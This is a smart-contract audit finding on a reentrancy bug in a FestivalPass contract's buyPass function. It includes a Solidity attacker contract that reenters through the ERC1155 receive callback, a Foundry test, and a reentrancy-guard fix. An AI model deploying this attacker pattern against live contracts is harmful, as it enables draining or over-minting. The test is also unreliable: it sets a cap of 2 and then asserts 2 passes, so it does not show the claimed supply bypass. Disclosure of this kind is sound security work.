# Reentrancy via ERC1155 Mint Callback can lead to unlimited minting of passes
## Description
- Normally, minting ERC1155 tokens is safe, but if the recipient is a **contract**, it can execute code during the mint callback.
- In `buyPass`, after minting, the contract calls an external contract (`BeatToken.mint`).
If the recipient is a contract, it could reenter and exploit the contract's state.
```javascript
function buyPass(uint256 collectionId) external payable {
...
_mint(msg.sender, collectionId, 1, ""); // <- ERC1155 mint triggers callback
++passSupply[collectionId]; // <- vulnerable state change
...
BeatToken(beatToken).mint(msg.sender, bonus); // <- external call post-mint
...
}
```
## Risk
### Likelihood
- Occurs when a contract calls `buyPass` and implements the ERC1155 receiver interface.
- The contract could **reenter before state is fully updated**.
### Impact
State corruption, such as minting more passes than allowed
## Proof of Concept
A malicious contract can:
1. Call `buyPass`.
2. In its `onERC1155Received` callback, call `buyPass` again.
3. This reentry occurs **before** `passSupply[collectionId]++`, allowing bypass of supply limits.
### Proof Of Code
Paste the following test into the `FestivalPass.t.sol`
``` javascript
contract ReentrantReceiver is IERC1155Receiver {
FestivalPass public festivalPass;
uint256 public passId;
bool public reentered;
constructor(FestivalPass _festivalPass, uint256 _passId) {
festivalPass = _festivalPass;
passId = _passId;
}
// // Fallback for receiving ETH
// receive() external payable {}
function attack() external payable {
// Initiate the first buyPass call
festivalPass.buyPass{value: 0.05 ether}(passId);
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external override returns (bytes4) {
// Only reenter once to avoid infinite loop
if (!reentered) {
reentered = true;
// Reenter buyPass during the mint callback
festivalPass.buyPass{value: 0.05 ether}(passId);
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata)
external
pure
override
returns (bytes4)
{
return this.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) external pure override returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId;
}
}
contract ReentrancyTest is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public organizer;
uint256 constant GENERAL_PRICE = 0.05 ether;
function setUp() public {
organizer = makeAddr("organizer");
// deploy FestivalPass here
festivalPass = new FestivalPass(address(beatToken), organizer);
}
function test_ReentrancyOnBuyPass_AllowsDoubleMint() public {
// Setup: configure pass with max supply 2
vm.prank(organizer);
festivalPass.configurePass(1, GENERAL_PRICE, 2);
// Deploy the malicious receiver contract
ReentrantReceiver attacker = new ReentrantReceiver(festivalPass, 1);
// Fund the attacker with enough ETH for two passes
vm.deal(address(attacker), 2 * GENERAL_PRICE);
// Instead, send enough for two passes to cover both calls
attacker.attack{value: 2 * GENERAL_PRICE}();
// Check how many passes the attacker received
uint256 balance = festivalPass.balanceOf(address(attacker), 1);
assertEq(balance, 2, "Attacker should have received 2 passes due to reentrancy");
}
}
```
## Recommended Mitigation
Use a **reentrancy guard** to prevent reentry during execution:
```diff
- function buyPass(uint256 collectionId) external payable {
+ function buyPass(uint256 collectionId) external payable nonReentrant {
```
Import and apply `ReentrancyGuard` from OpenZeppelin:
```javascript
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract FestivalPass is ERC1155, Ownable2Step, ReentrancyGuard {
...
}
```